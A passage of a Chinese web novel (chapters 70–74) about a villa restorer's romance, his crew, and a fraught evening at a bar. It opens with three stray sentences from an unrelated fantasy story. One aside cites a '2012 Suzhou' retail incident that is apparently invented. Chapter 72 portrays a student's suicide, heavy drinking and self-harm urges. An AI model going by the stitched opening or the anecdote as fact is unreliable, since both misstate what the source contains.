安稳的生活,对于徐止蓝,还是万物村后裔而言,是一把剑,面对自己的那头会导致自己人生的终止,而针对自己以外的威胁,这股力量会不断变化。 薛少立刻收回攻势,只见白芊歌的赤金色的异火一出,魔猿老大顿时神色大变,他眼中开始露出恐惧之色。 看了看这一边的战斗之后,李天隐匿了身形,向着远处飞掠而去。 第七十章 情侣欺我无力 这栋上世纪30年代的老洋房,外墙清水砖早被风雨啃出细碎裂纹,像老太太眼角的皱纹。 戴上帆布手套,掏出空鼓锤沿着墙面‘咚咚’敲过去。 “第七块、第十一块......” 声音闷实的是好砖,要是传来‘嗡嗡’的回响,准是里头藏着空鼓。 陆砚拿红漆笔在砖缝上画圈标记,转头瞥见张野正踮脚够高处的砖,帽子歪得快遮住眼睛,忍不住喊: “张哥!检查空鼓不是拍蚊子,手腕得稳着点!” 是苏棠给他们买的遮阳帽,说不想让别人以为她在非洲部落实习。 理由稍微说得过去,但戴个帽子实在麻烦。 见众人答应爽快、没一个行动,苏棠便跟杨灵告状。 陆砚妥协了。 于是张野大早上对着手机摄像头捋了半天的头发就此被无情镇压——尺寸还不合适! “包稳的,昨天没喝。”他说。 清水墙面的民国青砖基本得一块块敲过去——别说他们偷懒、没用更细致的法子检查—— 一面八米长、三米五高的墙就是一千块砖...... 老洋房的外部面积很大,抛开门窗、围墙不算,起码有八千块砖体等着检查。 还何况是两层外立面型的清水墙,后面涉及高处作业呢! 底层砖体被涂上一个个红圈,放二十年前,谁家小孩这么皮准得‘吃生活’。 上海人民还是挺懂生活的,俚语里面把‘揍小孩’描绘得如此真实。 日头西斜,该给墙面‘洗澡’了。 接上水泵,水枪喷出的水流撞在砖面上,腾起的水雾裹着陈年积灰,在阳光下拉出彩虹。 有些顽固的青苔藏在砖缝深处,之后得用钢丝刷一点点‘刮骨疗毒’。 青砖吸水后显出本来的黛青色,比干燥时精神多了。 不禁感叹,老洋房啊,也跟人似的,得勤收拾才体面。 ...... “丫头,是我。” 杨启文从椅子上起身,连褶子都绽放着和蔼笑容。 不知‘丫头’何人,反正杨嘉他都直呼其名,或者‘嘉嘉’。 “...” 对面没说话,老人习惯了,接着说: “几天没联系了问问你情况......天气预报看到了吧有台风的,你一个人住,衣服、饭菜记得准备好。” 没贸然开口让对方过来住。 他知道这种邀请不仅不会成立,还可能激起反抗心理。 索性在不痛不痒的地方关心,至少不会突然挂断电话,就很欣慰了。 “您有事吗?” 冷清的声音传来,与此同时背后有细微钢琴声。 像在演播厅现场,也可能在商场。 “洋房的文保申请差不多了,批示在排队。”杨启文在五斗柜前顿了顿,“咱家的房子也快有官方挂牌了。” “...” “灵灵?”预感对话要结束,赶忙说:“记得多买点衣服,天气冷了身体要不得的!” “知道了。” “嘟嘟嘟......” 老人瞧着眼前的老柜子,沉吟良久。 像被老菜缸腌泡过、一拧出来全是褶皱的往事徐徐翻开。 有关于自家老爹老娘的,有关于他和杨灵父亲的。 一家人住在洋房里,两兄弟顽皮,住楼下,父母住楼上。 后面身体壮实了,便没了老爹老娘,有了杨灵和杨嘉。 洋房里,大哥家住楼下,他们住楼上,一家人变成两家人...... 好似砂纸揉搓过的指节摸五斗柜的浮雕纹路,茧子在上面刮过,不曾冒出声音。 岁月无声,掩盖了平常人家许多事。 就这样度过易耗的日头,直到总抱怨枇杷果子砸落她家晾衣杆的邻居吆喝‘小赤佬吃饭’,他拨通陆砚的电话。 几秒就通了。 “师父?嘛呢?” 小伙子感到诧异之余,有些高兴。 此刻刚刚洗完澡,洋房里换了身行头准备下班,精壮的躯体有用不完的劲。 老人无事的口吻响起:“就问问洋房进程,顺不顺?” 果然是杨老头唯一交代的项目,陆砚想着。 抬手招呼张野他们先走,在大门台阶找了处安逸位置坐下,之后事无巨细在电话里汇报了一遍。 包括但不限于前期铺陈、老构件精修和杨灵的监测器。 “现在情况,大体上和原方案一致。” “嗯,蛮好。”杨启文说。 老头向来话头短,吝啬表达,他懂。 得到师父兼甲方肯定之后,更是拍下包票,会尽心尽力完成这个项目。 忠心倾倒间,粉色保时捷如期而至。 他暗下决断,得抓紧和杨灵把后面修缮细节定下来了。 ...... 顾南乔决定留下来蹭饭,她知道,会让闺蜜难受。 呵,这就是目的! 让你秀恩爱!让你逛街在我旁边对手机说那些肉麻的话! 全是你应得的! 三人三车先后驶进小区停车场。 巧了杨灵的房子就有三个停车位! 很快,她像回自己家一样盘腿端坐沙发正中央,电视放起动物世界。 暧昧阶段已经过去,现在贸然打扰是半点负罪感没有。 反正天天腻歪,还差这么会功夫啦? 剥个橘子。 将细白橘丝一一分离,饱满的橘瓣像挂毯下、角桌上、花瓶里的三朵玫瑰般‘盛开’。 两人钻进厨房做饭已有四十分钟,抽油烟机还没响动。 算了,心累,懒得催。 ''鬣狗东尼被族群欺凌,被迫独自流浪......'' 调台。 85英寸高刷新率的8k电视,怎能光看动物世界呢? 又‘不是春天来了,万物复苏的季节’,不应景! 顾南乔很喜欢这里,就像陆砚喜欢杨老头住的石库门老房子。 有些地方,就连空气里的味道都会让人心安。 熟悉的场景布置,熟悉的人在身边,全身暖洋洋的几欲睡去。 “嘶呼——” 这橘子! 亏你敢摆在City super! 把酸不拉几的橘子瓣吐出来,剩余的,她决定留给一位、或者两位,有缘人。 嘿嘿...... 另一边。 厨房内抱一起的两人,一心只顾相思意,压根不知做饭为何物。 ...... “你说去帮忙,结果出来口红都没了?” 她算知道闺蜜专挑漱口水、口红和唇釉买是什么意思了。 说来真精彩呢: 从杨灵刚回来任职、两人一块普查历史建筑时的不施粉黛,到一周后突然看起美妆博主,再后来缠着让她教化妆、买衣服、做水疗...... 全程见证了!一帧没错过! 中途让紧急刹车,她答应了...... 这就是刹车的结果?! 筷子‘啪’地按在桌上,“别告诉我说帮忙试菜去了!” 顾姓女子忍了又忍,忍到肺部的气球‘砰’的爆炸了! 吃顿饭等一个多小时就算了,结果两人舍得出来后,直接去门口拧了份外卖摆桌上。 这他乃乃的能忍? 演都不演了?好歹端盆蔬菜沙拉说是匠心之作也能糊弄过去啊! “乔乔——” 没有口红却嘴唇鲜艳的杨灵已经不是三天前的杨灵,羞涩的阈值稍微升了升,赶快用行动表示歉意—— 可惜,赔罪的筷子夹豆腐硬是夹不起来,便转头看向陆砚。 这块豆腐...... 陆砚夹给杨灵,杨灵托举筷子放顾南乔碗里。 “一点心意。”她说。 还挺认真地说。 呵呵。 早知道不来了,还不如在家吃泡面。 以后就是饿死,从楼上跳下去,也要在家吃泡面! ...... 饭后送走顾南乔......额,这次人都没送进电梯就回来了......便又开启了杨小姐所谓的‘交流时刻’。 他们在厨房约定,每天必须聊天两小时以上,如果特殊情况,也要打电话。 陆砚欣然往之。 “亲爱的,今天逛街好累~” 怀抱里,搂着他脖子、小鸟依人的女友撒起娇,平日魅力更添半分。 “那......在下正好略懂几分推拿。” 说着,便准备用行动证明。 不料被一只小巧而柔软的手十指相扣,锁得不能动弹。 “要亲亲。” 第七十一章 蔫蔫包苏棠 情难自禁的探索中,双方都没有阻拦,各自有所斩获。 就在最后一道防线将要突破时,她说她生理期来了。 是说主动送睡袍那天的她如此情动、如此坦率,现在想来激素驱动也助了一臂之力。 一般五天的样子。 默默记住这个神圣的节点。 它激励着陆砚提早十分钟起床,搜肠刮肚构思每日份额的情话、夹在玫瑰里送出去。 长方形岛台早餐桌,燕麦酸奶和面包,简约的早餐。 仿佛是薛定谔的‘生理期疼痛’一样,自打陆砚问了句‘肚子难不难受,我帮你揉揉’以后,杨灵便好像要把此前十几年的难受都补回来。 坚定喊‘痛’。 尽管一掰开全是撒娇成分,还是配合着,依偎一起度过早餐。 再次带着口红印出门,才发觉不对: 说好教他学习用平板观察老洋房参数呢? 亲口教学是没错,但内容是不是有点偏题了? 而且洋房关键的几个问题也没谈...... 算了,老师讲课且听着吧,爱学习的人怎样都会有收获。 他,当年也是985学霸啊! ...... “我去,是吃了多少还在睡?” 冯小军从昨天开始就不见动静,苏棠的照片加陆砚的艾特也唤不出来。 张野认为,事到如今只有他亲自出面才能探清情报了——没想到此子大意如斯,居然连手机关机都不晓得。 “有没有可能,徒弟跑路了?”扎长头发的小赵安慰道。 “你瞧瞧,你瞧瞧看,嘴巴跟淬了毒似的,难怪没女人亲。” 小赵不忿。 谁人看了他赵立言不说一句,‘我去,艺术家呀’。 年轻小姑娘更是如飞蛾窥火般在窗户外往里撞、就等他回眸! “嗬,哥们忙工作,没空找!” “陆哥不忙?陆哥怎么找到的?” 对方嘴向左一努,顺着示意,小赵看见还在语音通话的陆砚......没了谈兴。 “好,好。” 手指滑动,平板页面在倾角传感器、裂缝计、静力水准仪间切换,据说温度、湿度和振感也有对应记录。 甚至于,屋顶布置的两个,还是锂电池和太阳能混合能源,丢上去两三年不是问题。 心下不由感叹自家女友眼光之好,确实方便不少。 一度让他都有点抗拒今天搬进来了。 平板在手,有问题再过来不就行了?虽然慢了点,总归来得及呀! 最后只是想想。 杨老头交代的项目还是亲自守着吧......以后就算了。 “杨小姐,这个参数单位有点不好懂啊......哦哦好的,那感情好。” 她说数据异常会自动发消息到平板上。 堪称傻瓜式入门。 此刻确实对工作中的杨灵有新的认识与认可,就像对方总是喜欢‘贴贴’一样,忽然他也得了相思病。 对方躲在厕所,忍着害羞、诉说柔情蜜意的嗓音,总也听不够。 如此,便是下次见面的意义吧。 “中午准备吃什么?一会给我拍照片。” 角落里,房梁上,整座房子原本一闪一闪、有些违和的幽蓝呼吸灯,竟变得可爱不少。 像‘杨灵吃过糖果后,撒下的亮晶晶包装纸’般亲切。 “师哥!” “...” “宝宝,晚上见!” 按下心中柔软,一天的工作开始了。 ...... 老周又焊死后院手脚架上‘啃’百年木头。 陆砚和张野换了套衣服就去外边‘敲’墙,她让俩人拿上遮阳帽。 却惹来一阵摇头晃脑,最后还是戴上。 而谁能想到,苏棠的‘懒病’是从小到大出了名的: 能当天完成的作业绝不拖着,这样就有整段时间去玩; 上课的时候绝对专注听讲,便不用课下多花时间去补习班。 等高考结束选专业,别人想成为电视里精英模样,或者勤恳科研、以后取得不错的社会地位。 她不想。 直奔能清闲点的职业规划去选,便成了陆砚的同门嫡系,预备将来去文保局上班。 此次实习不过是某天路边唱歌的时候,突然觉得买一个假实习证明有东窗事发的风险,到时候更麻烦,才勤勤恳恳跑来过渡一两个月。 是的,懒洋洋的蔫蔫包也会付予热情去做一件事,她总能从音乐中洞悉自己的敏感和热泪盈眶的心。 因而这颗敏感的心也容易察觉别人所想——比如那天失魂落魄走在街上的陆砚。 仅一眼,心墙就冒出了爬山虎。 感受到工装男人沉陷在某段回忆中,她当即唱到: ‘我来到,你的城市,走过你来时的路’ 果不其然,对方被吸引过来,看向她的眼神却不是欣赏、感动,而是...... 而是蒙着一层落满灰的布,布后面堆积着陈年旧物寻不到归处的遗憾、失落。 没来由的,生气了——此前很少生气——故意把副歌唱走调。 下一秒,男人眼里错愕的光闪过,郁郁之气也散了去。 她开心了。 ...... “我觉得小苏的适应能力还是比较强的。” 午饭点,五人围坐在大号铁质电风扇前吃饭,陆砚回完消息后、拿起筷子吃饭前,顺便金口大开、夸赞一番: “就比如说这个油面筋塞肉和蟹粉豆腐,虽然每份超指标五元,但确实性价比高,钱花得值!” 小赵附和,老周亦点头。 张野则矿泉水瓶都拧好了,给苏棠递过去——比实习生还实习生。 此处地段,20元的盒饭能有这俩菜和例汤,开完发票还包送,简直堪比战略家谈判专家亲自出马。 “嗯,陆师傅,还有呢?” 今天是黄色背带裤绿衬衫打底,两个亮色撞在一起,小脸无疑比正午下最娇艳的向日葵还耀眼。 “还有就是我要吃饭了,先闭麦。” 她小口抿着水,无声笑了笑,决定以后找机会一定给他好果子吃。 ......算了,罪不致死。 等再如此敷衍自己一次,必动手。 说起动手,打九月末来实习以来,陆师傅脾气还真不错。 原先以为他愣,大太阳下面做事躲也不躲、大雨天往屋顶跑也不知道保险买了多少。 最最奇怪的是,跟自己单独聊天三句不离工作。 后面杨老师来了才发现,只是对自己‘愣’。 几乎没有不喜欢美女的男人,除非有更大的美女在后面。 杨老师的话,合理...... 同理,哪有年轻女孩不喜欢帅的,特别是‘帅的’还对自己爱答不理。 反正对方有喜欢的人,不怕惹下感情债诶! 正好拿来‘练手’。 肯定不是真心动的那种喜欢啦。 纯粹是吃饱的猎人去打猎、为验证自身能力而行动! 至于其他人...... 他们愿意对她好,她乐得见到,仅此而已。 第七十二章 周三盲盒夜 酒瓶和一叠花生米塑料包装后面,闹钟响了。 周辰推冯小军,问‘还去不去上班’。 他摇头。 酒精能麻痹神经,却不能忘掉一些事情,只要还醒着。 厕所那边,吐身上、歪瘫着散发难闻酸臭的室友正在酣睡中得以安宁,‘吭嗡——吭嗡’以一种诡异却是他所熟悉的节奏呼嚎着。 学姐跳楼了。 一粒渺小的花生米顺势下桌,两人毫无察觉。 大一入学站门口、带领他们参观校园、比他们大一级正在读研究生的学姐,跳了。 这么说并不深切。 冯小军几人拉着相识的朋友,说了一宿,仍觉得不深切。 脱口而出的词句,怎么都甩不开那种泛而轻飘的意味。 就仿佛他在说,学姐跳楼了,那样简单的小事。 有时候真想大嘴巴抽自己,为什么讲出来的内容就那么不被大伙理解? 分明上周还发过消息、半月前把他推去实习的人; 喜欢化玲娜贝儿妆、吃学校美食街方记糕点、口头禅是‘小师弟多努力,图书馆沙发随便腻’的活人——在二十二岁出头的年纪,没了。 这件大事一开始没人信,包括他自己。 后来师兄喊人喝酒压惊,两天来一宿一宿睡不着觉,只有辛辣的劣质白酒能让他感觉活着的实感。 而活着需要得到缓解。 就像肚子插把刀的时候、用锤子砸脚趾头,那样得以缓解。 师兄把自己头发薅掉了一把。 冯小军没这样做,他不敢,他心疼。 同时他觉得他虚伪、软弱,不是个男人! “滴滴滴——” 电话又响了。 他只敢摔碎手机。 ...... “小苏啊。” 上班的时间总是过得飞快,下班的点又到了,怎么这孩子反而无精打采了呢? 难不成对工作热爱得不可自拔? 陆砚说:“又想主动申请加班啦?” “中年油腻大叔光天化日下搞职场压迫,我要曝光你!”闻言一个激灵,她作势就要拿手机。 刚才是实习生,工作以后就让她蹦跶一下吧。 趁你陆哥最近心情好,可劲蹦! “对了,你在阿乐那边待得怎么样?有没有职场压迫?” 关好门窗的时候,他突然想起苏棠正在破吉他兼职驻场来着。 为什么会想起呢? 因为陈禹又茬他去小聚一下,顺便就想起来了。 当然,跟杨灵提前说了! “哎!”小姑娘叹气,一种强说愁的青春感挥之不去,“今天就是周三诶,大叔,你明白我在说什么吧!” 大约是小酒馆每周三的盲盒夜? 所谓盲盒夜就是不限表演、不限内容,集思广益自由发挥的一天。 而苏棠,貌似还负责策划活动...... 不是,难怪你一天天蔫巴巴的,感情精力全在另一份工作啊! “放心吧,今天有叔叔给你撑场,不用担心太冷场的。” 对于‘大叔’之类的诋毁,他向来不屑。 毕竟有女朋友了,以后想听‘哥哥’或者其他类别的,天天有! “不是吧陆叔叔,人家第一天、第一周、第一次组织活动你都不闻不问,哪有黄花菜都凉的时候跳出来说撑场子的!沽名钓誉之辈说的就是你这种油腻中年......” 有时候他觉得自己适合学中医,一出手人就精神了。 还有,累了一天还要被人紧了喊‘叔叔’,真是有怪心累的。 陈禹在催,他给回了个‘马上’。 最后用毛巾擦了擦刚洗完澡的头发,不去管了,准备锁门。 是的,洗漱用品全买好了,住在老洋房的决心从今天开始变现。 “我是消费者、顾客,还让你坐顺风车。小朋友你不要太不尊重哦。” “消不消费我都死工资呐,别啰嗦了快去开车......” ...... 老式吊灯在斑驳的砖墙上投下暖黄光晕,胡桃木长桌上散落着写满潦草字迹的牛皮纸盲盒。 小酒馆,周三盲盒夜,大功率灯光只开了一半,让唱台前、吧台边的彩色灯带撑起视觉效果。 “砚哥,别养鱼,别发呆,发呆也要算时间的。” 若是苏棠从唱台上下来,坐他们这桌、看到陈禹,大约才会明白‘叔叔’应该喊谁。 陈禹组局喝酒,有些久远了。 上次见面还是颜朵闹脾气、他去帮忙劝和,也没喝酒。 没想到一周左右再看,气质竟是大有不同: 头发油腻耷拉额前,胡茬像荒地里肆意生长的杂草...... 看到他隐约快发展出来的啤酒肚,终于适应了眼前之人,正是陈禹。 “乐哥,一起陪咱结婚人士碰杯。” “碰可以,今天点到为止。” 阿乐给了个眼神,仿佛在说‘我害怕’。 陆砚也怕。 战五渣陈禹酒量不咋地,但吐起来的量可不差,而且醉起来麻烦多、事情多。 “今夜盲盒,拆到什么,就表演什么。只要点燃气氛,老板买单送酒!” 唱台,苏棠的声音覆盖全场。 今天上座率极高,熟人局组在角落,加之凝望酒精如看爱人的陈禹,桌上氛围与大厅中央的热闹格格不入。 就好像,看到了小区老刘的影子...... 婚后男人身上的颓,竟如此相似? “你小子想吃什么?我去拿。” 阿乐准备慷慨解囊的同时,找个由头开溜。 毕竟得把店里招呼好再说。 陈禹摆头,默默挪向陆砚这边,掏出香烟的同时把火机丢过来。 “...” 帅的,陈禹。 根据《出门在外男人互助协议》第一条,该配合撑场面的时候尽力配合。 陆砚配合点火,一只手细节挡风,主要是个姿态。 “砚哥,我觉得中国男人一生被吃得死死的。” “...” 这是他今晚第二次沉默。 照说不该,又不是冯小军那样刚退学生会的小伙子,怎么能让话掉地上呢? 何况,喝酒嘛,就是聊‘如何徒手造航母’也不是没有过呀! 区区男人的一生......话题还是太大了。 正当这时,苏棠唱完了开场曲,准备抓随机幸运观众抽盲盒——陆砚赶快举手,像发国投降一样热烈举起双手。 “那桌客人,请上台前!” 一把抓起陈禹往前走,低沉的酒有什么好喝的? 赶紧找点乐子快乐起来,才是兄弟该做的事! 从最角落穿过正中央拥挤的椅子,来至台前,那里有个胡桃木长桌。 “两位,谁选?” “他。”指了指陈禹。 桌上放着三个类型的盲盒,分别是‘小夜曲’、‘变奏曲’和‘狂想曲’,一看就是小女生出的点子、命的名。 不过破吉他本身文青拥趸不少,倒也贴合。 阿乐接过话筒嚎了一嗓子:“两位都参加的话,老板每桌送一支小啤酒!” “哇哦!” “来一个!来一个!” 酒馆里的空气仿佛都被点燃了,此起彼伏的起哄声裹胁着酒精的躁动。 他带头拍打话筒,场下跟着节奏,木质桌面发出‘砰砰’的闷响,与酒杯碰撞的‘叮当’声、尖锐的哨声交织成杂乱的节奏。 苏棠拿吉他顺势扫出激昂的和弦,为这场‘逼宫’配乐。 感觉对了。 差点被陈禹搞得有点down的心情顿时转好。 陆师傅向来不是怯场的人,当即叫好,从‘狂想曲’里头抽出纸条。 ‘和三桌客人碰杯,并加一个异性联系方式’。 ? 文青喜欢这样式的?! 再抬头,看到的却是苏棠举起手机在录像。 第七十三章 正义小姐登场 杨灵在家看文献,越看越来气。 毕业要求里,需要完成跨学科项目,而她选择的跨学科项目正是老洋房的修缮研究。 今天导师发邮件称,项目选择具有创新性,但评估起来较难,有不被认可的风险。 再就是墨斗先生发消息说,陈禹约酒,今天下班就不见面了。 虽然说好了要每天交流两小时,她也不是个小气的女人,参加社交维护朋友关系也很重要嘛...... 但是至于去那么久、连‘不见面’都说出来了? 五点半下班诶! 难道一直到九点、九点半还不够用吗? 看来是不够的。 九点整,手机一动不动。 月亮把轻纱蒙在窗前,角桌上,新来的白色玫瑰花正配此夜。 连带着白色卡片上的内容也被想起: 你问我什么是幸福?我写着,有一个等玫瑰的人就是幸福。 深呼吸,平静了些。 “叮——” 愣了愣,雀跃油然而生。 然而特别关心铃后面,藏着顾南乔发来的信息。 压下给她换个不同音效的冲动,点开。 ‘你个没良心的小囡,有没有空陪陪我!’ 笑了笑。 仿佛连上天都在暗示她该怎么做,遂对着手机说道: “有!” ...... 当场删人微信不符合社交风度,但现在名草有主了。 而且女朋友正在来的路上。 就在刚才,超额完成加微信的任务以后,特别关心的信息音恰好响起,吓得他死死盯住苏棠—— 直到确认她没告状以后,才点开消息: @Adeline:乔乔想喝酒,我们可以来吗? 可以,当然可以。 再次检查手机没有任何痕迹遗留后,甚至觉得换个地方接着下半场才安心。 什么鬼点子,盲盒夜搞成破冰局了,俗气! 此时陈禹操着湖北方言念完了《将进酒》,场上纷纷叫好——因为老板送啤酒。 人前和人后,台上和台下,角色转换间总归能调整心情。 回桌上,再度相觑的两人不似最开始沉闷,尤其是陈禹,吊儿郎当的气质又回来了。 “一会杨灵带个朋友过来,你要不要把家里那口子喊喊?” “害,您猜我为什么出来喝酒,您猜猜?” 回来的时候还顺了半瓶洋酒,真是太没边界感了。 “又没别人,打个锤子哑谜。” 陆砚拒绝了暗示,并表示不屑。 还能有什么事呢? 那么精的人,外部的困难从来难不倒他。 阿乐见气氛起来,再度退至角落桌,准备发扬‘倾听’精神。 俗称八卦。 “卧槽,是说丢了一整瓶酒呢,原来被你们喝了。” 对方话术里的陷阱困不住微醺的陈禹。 “什么酒?我自带的。” 呵,反驳说‘明明只有半瓶’,那便承认是他顺的了,吃亏是不可能的! 这便是陆砚所说的‘精’。 楚人聪慧且崇尚智力,小事当游戏般、锱铢必较。 但大事上向来‘愚且驽’,认死理、不妥协,显得‘笨’。 非熟人不晓得,‘爱占小便宜’的陈禹,是阿乐最大的VIP和客户介绍人。 莫说半瓶酒,就是搬空了也无妨。 “陈总好品味,改天把供应商介绍我。” “好说,好说。把陆总今天陪好了都好说。” 陆砚挑眉,你小子好起来了那我可就要动手了啊。 三个杯子碰撞间,默契随酒沫荡开,两人不问他的家事,转而回到熟悉的频道——‘国际形势’。 ...... 杨灵还是第一次来破吉他,没来得及问顾南乔为何轻车熟路,便一眼看到角落里桌上的三男一女。 正是陆砚、苏棠他们。 “我去,两位大——美女啊!” 奶白色针织连衣裙,领口处的珍珠别针随步伐轻晃;另一位皮夹克松垮地披在墨绿连衣裙上,马丁靴踩出轻快的节奏。 阿乐不像演的,眼睛都直了。 桌下踢着陆砚,大约在暗示什么。 没管,起身相迎。 抓起手晃了晃:“杨灵,我女朋友。” 杨灵大方打招呼。 阿乐连开一排小奶啤,以示友好。 “她是顾南乔,上次过来的时候你不在,都没人帮忙开啤酒。” 上次真没人开啤酒吗? 小赵和暂时溜号的小李在场的话,肯定不服。 被调侃,阿乐不甚在意,招呼着搬椅子,让两女落座。 “真是稀奇,这么多年还是头一回被灵灵喊出来喝酒。” 杨灵坐陆砚左边,顾南乔坐杨灵左边,此刻隔着一个人,也不妨碍把带刺的话语递送过来: “陆师傅真的好有影响力啊!” 语态婉转、语气动人,听起来酥酥的。 看似怼陆砚,实则点杨灵。 陆砚知道,杨灵知道,乃至全桌人都听得出来。 于是破吉他老板兴奋了,默默递来菜单。 “灵灵喝点什么?有饮料和酒。” 嗯,在外面喊‘灵灵’比较不肉麻。 杨灵却看向左边——高攻低防,说得就是顾南乔:“给她......柠檬水吧,我要威士忌加冰。” “好嘞!” 阿乐小跑去前台。 沟槽的陈禹家里受了气,今晚整活的欲望高涨,此刻包不让乐子掉地上: “话又说回来了,嘿呃真别说,陆师傅向来人缘好。” 他看向陆砚,点到为止。 陆砚无所谓的,晓得斑点狗什么尿性,近三十岁的男人是懂分寸的。 而且又没做什么亏心事...... 就是退一万步讲,不小心犯了什么小错误,陈禹也不可能跟杨灵告状! 百分百! 直到苏棠也看过来的时候...... 才有点小慌。 “哈哈——,这是陈禹,我大学室友,认识十年了。” 杨灵知道陈禹,顾南乔是头回见,便对她说着。 恰好阿乐送东西过来,就两个一并介绍。 说来也巧,陆砚生活里交际最多的几个年轻人,凑一堆了。 此情此景,会须一饮三百杯! “喝!” “萍水一相逢,胜却什么来着?” “干杯~” 场上六人,三男三女起身碰杯,宣告着下半场正式开始。 刚落座,又是来自苏棠幽怨的目光。 怎么回事这孩子? 抽盲盒我瞪了她一眼,现在是要还回来?你也学杨小姐小心眼? 噢对,忘记介绍她了。 于是趁着阿乐开酒的间隙,对顾南乔说: “那个小姑娘是苏棠,这里驻唱,老洋房的实习生,杨灵还带过她。” “现在也带!” “噢,对对。” 杨灵严谨,他顺从,没毛病。 顾姓女子点点头,表示晓得了,正要说话突然察觉不对。 “陆师傅总算记得我一回......” “放心,开实习证明的时候不会把你忘了。” “......晓得了,老板。” 阿乐抬头,“叫我干嘛?” 好嘛,不经意间居然达成镜头错位的效果。 咧开嘴笑了笑,陆老板提起杯子对阿乐说:“大老板,不兴欠小朋友工资的哦,我女朋友旁边这位略懂劳动法。” 而此刻,见过不少情感纠纷案件、略懂劳动法的这位,彻彻底底嗅到了一丝茶味。 尽管只有一丝,但事关杨灵,她向来嫉恶如仇。 第七十四章 心思流转间 虽然苏棠拍下了陆砚和其他桌客人喝酒、顺带加了一圈异性的全过程,但绝不是为了告状。 顶多逗逗对方,满足自己恶作剧的趣味罢了,至于其它心思...... 要知道,在这里偶遇林晚声那回,可是她向杨灵发的微信。 不然谁懂,那天狂得没边的陆师傅会被带哪去?故事又会成为哪种走向? 直到看见林晚声把陆砚扶到门口、上出租车前几分钟,杨灵赶了过来,她才放心。 就是如此一个,人美心善、偶尔犯懒、偶尔恶作剧的在校女大学生,能有什么坏心呢? 她端着3度奶啤,用眼神暗戳戳刺了几下陆师傅,对方顿时上道,没把她落下。 回望多次被无视、被糊弄的历史,此刻竟意外感动...... 陆砚说:“老板,不兴欠小朋友工资的哦,我女朋友旁边这位略懂劳动法。” 而阿乐立马就不乐意了,当即让她作证——是不是一天一结清、绝不拖欠。 小姑娘心里很高兴。 一个眼神,让两个男人为我大声争吵,谁懂? 哎,该死的魅力啊! “嗯,确实如此。”许是酒精作用,她一碗水端平,“不过陆师傅也是好心。” “毕竟一个学校的,对吧?” “对!” 陈禹挖坑,苏棠跳,陆砚背锅。 短暂两秒间,三个环节一气呵成,甚至苏棠说完以后感觉被目光打量、才反应过来不妥。 可是迟了。 “哟,还是小师妹啊,刚才你怎么不说呢?” 顾南乔确认再三,此女必然‘包藏祸心’。 没人比她更了解,场边跃跃欲试的心情和行为轨迹。 只是,她会因为浓厚的情谊约束自己,有人会吗? 甚至有可能那个叫苏棠的,自己都不曾察觉内里复杂的心,觉得无辜着呢...... 无数案件中,原告总傲慢的认为,自己是世界上最了解自己的人,简直太偏激了。 说破了天,她也不会信任个陌生人。 “差辈分,差辈分......” 陆砚说着,开始觉得阿乐太不专业了。 兑个威士忌搞这么半天! 你就非要在桌上表演?前台兑好再过来的话,顾乔乔早喝上了! 把柠檬水端给杨灵,她晃了晃小脑袋,手指戳他。 可爱捏。 没生气,还好,还好...... “差辈分更得关照了,平时不得多带带人家?” “乔乔女士,好兄弟话密了啊,阿乐,酒呢!” 阿乐酒递过来,两人隔着杨灵碰响,一个眨眼装无辜,一个苦笑真无奈。 彼此嘴角,是平日里熟悉的弧度,对话亦是熟悉的剧本。 不懂的人,觉得压力渐大。 顾南乔怼的是陆砚,点的是苏棠。 陆砚明白,其他人明白,苏棠也明白。 小姑娘心一紧,顿时慌了神。 从小到大哪经历过这些? 学校里有女生开撕的例子,但没有对她开撕的啊! 她向来都蔫了吧唧的。 那个叫顾南乔的姐姐不经意间扫过一眼,便升不起还嘴的心...... 小孩委屈了找大人,苏棠这次是真委屈! “杨老师......” “开玩笑的,别在意~” 他们不知道苏棠,杨灵知道。 不是小姑娘定点监督、定时报信,杨小姐绝对不会那么快信任陆师傅。 但不能说出来,他察觉了怎么办? 于是柔柔对她笑着,用以安抚。 这笑容有魔力,如同春溪漫过堤岸,没有张扬的弧度,却让人沐浴蜂蜜浸过的月光。 ‘认真’笑一个的时候,饶是陆砚都会看愣,连女人也不例外。 苏棠不安的心得到了救赎,下意识就拿起杯子伸过去。 她懂我,杨老师她真的、我哭死。 她才是我的家人! “砰!” 抢在杨灵之前,是顾姓女子的杯子。 如果要说什么人是最最重要的话,除了左边的女人便暂无他选,顾明远都只能排第二! 吃醋来得如此突然。 上次这样的感受还是高二,杨灵交第一个亚裔朋友的时候。 现在...... 她帮闺蜜撕绿茶,闺蜜不领情,和绿茶碰杯。 呵。 “苏棠小妹妹,姐姐跟你开玩笑的,别当真——” 后槽牙都快咬碎了! 男人让了就算了,女人还能被抢? “顾乔乔,慢着点喝,全场唯一威士忌选手又没人跟你抢。” 陆砚傻呵呵的以为事情过去了,肆无忌惮喊着会让她‘威严’短一截的外号。 不是撞枪杆子上又是什么? “谁说我是唯一选手?你也喝!” “?” 一个女孩子这么劝酒,是不是倒反天罡了? 但是讲真,和这样的女孩子一起玩,才有意思、有噱头! 只当她和林晚声以前一样,爱找酒喝。 顿时更开心了: “酒逢知己千杯少——阿乐,倒酒!” “给灵灵也倒!” “好嘞!”不明所以的阿乐只当对方是爱找酒喝,顿时也开心了。 “...” “...” 杯子在柔光下缓缓注入淡黄液体,无声。 背后桌细碎的谈论清晰了,此桌无声。 结了婚的陈禹四分醉,仍能嗅到陆砚和阿乐身上愚蠢的气息,也不敢拱火了: “内个......砚哥,我记得杨灵不喝酒......好像。” “对的,对头!阿乐你给我倒就行了,多掺点冰红茶哈。” 所谓‘多掺点冰红茶’是主动提供槽点,转移顾律师火力的。 以男人的视角,他完全想不通,杨灵怎么惹到她了? 自家女朋友安安静静坐旁边,像雪山上最美的莲花一样与世无争,怎么就要被你小子罚酒了? 侧头看,杨灵还真就一副准备‘牺牲自己’也要安抚的模样...... 说实话,很久没遇到过情商不够用的局了。 但挡酒是肯定要挡的,杨灵酒量不好,从不在外面喝酒。 “陆砚关你什么事?又要你挡酒是吧?” “是的。” 陆砚不惯着。 因为在这之前他踩了踩陈禹,关键时刻交给他,稳的。 “陆砚关你什么事?又要你挡酒是吧?”陈禹说。 夹着嗓子,语气矫揉造作,针对他的讽刺拉满了。 “咣当!” 三杯酒调好,蹦弹上桌,闪亮登场。 “陆砚关你什么事?又要你挡酒是吧?”阿乐跟团。 在2012年苏州某商业竞争行为中,一家百货因对手泄露vip名单而暴出消费者信任问题——此时,最好、最有效的办法,不是道歉,不是买单、不是发优惠券...... 而是把对手的vip名单也抖漏出去! 顾南乔矛头对准杨灵,陆砚自爆向她开炮。 